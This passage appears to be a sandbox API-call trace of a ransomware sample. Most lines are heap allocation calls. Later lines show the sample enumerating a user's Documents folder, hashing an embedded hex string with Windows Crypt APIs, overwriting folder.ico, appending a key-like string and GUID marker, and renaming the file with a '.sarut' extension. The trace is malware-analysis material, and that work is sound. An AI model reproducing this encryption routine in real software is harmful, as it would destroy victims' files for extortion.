Size=0x80) returned 0x2fa4f50 [0271.713] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.713] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.713] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.713] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.713] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.713] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.713] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.713] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.713] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.714] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.714] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.714] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.714] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.714] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.714] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.714] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.714] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.714] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.714] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.714] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.714] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.714] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.714] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.714] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.715] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.715] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.715] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.715] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.715] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.715] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.715] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.715] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.715] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.715] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.715] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.715] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.715] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.715] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.716] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.716] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.717] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.717] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.717] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.717] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.717] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.717] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.717] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.717] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.717] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.717] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.717] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.717] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.718] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.718] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.718] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.718] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.718] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.718] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="_private\\" [0271.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0271.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30827b0 [0271.718] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0271.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0271.718] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30827b0 | out: hHeap=0x640000) returned 1 [0271.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0271.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0271.718] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0271.718] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0271.718] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0271.718] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0271.719] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0271.719] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0271.719] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0271.719] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0271.719] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0271.719] PathFindFileNameW (pszPath="") returned="" [0271.719] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.719] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0271.737] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.737] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.737] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0271.737] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa4f50 [0271.737] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbe) returned 0x307faa8 [0271.737] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0271.737] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned=".ico" [0271.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.738] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=29926) returned 1 [0271.738] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.741] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x74c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.741] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.772] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.772] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x74e6, lpOverlapped=0x0) returned 1 [0271.798] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.798] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.798] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.798] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.798] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa4f50) returned 1 [0271.799] CryptCreateHash (in: hProv=0x2fa4f50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.799] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.799] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.799] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.799] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.799] GetLastError () returned 0x0 [0271.799] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.799] CryptReleaseContext (hProv=0x2fa4f50, dwFlags=0x0) returned 1 [0271.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.799] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x74f0) returned 0x311d708 [0271.799] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.799] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x74e1, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x74e1, lpOverlapped=0x0) returned 1 [0271.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.800] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x74e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.800] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0271.800] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.800] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0271.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0271.800] WriteFile (in: hFile=0x5c4, lpBuffer=0x71eaa8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x71eaa8*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.800] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0271.800] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.800] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.800] CloseHandle (hObject=0x5c4) returned 1 [0271.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0271.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.804] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico.sarut")) returned 1 [0271.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.805] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0271.806] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0271.806] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0271.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0271.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0271.807] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0271.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.807] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0271.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 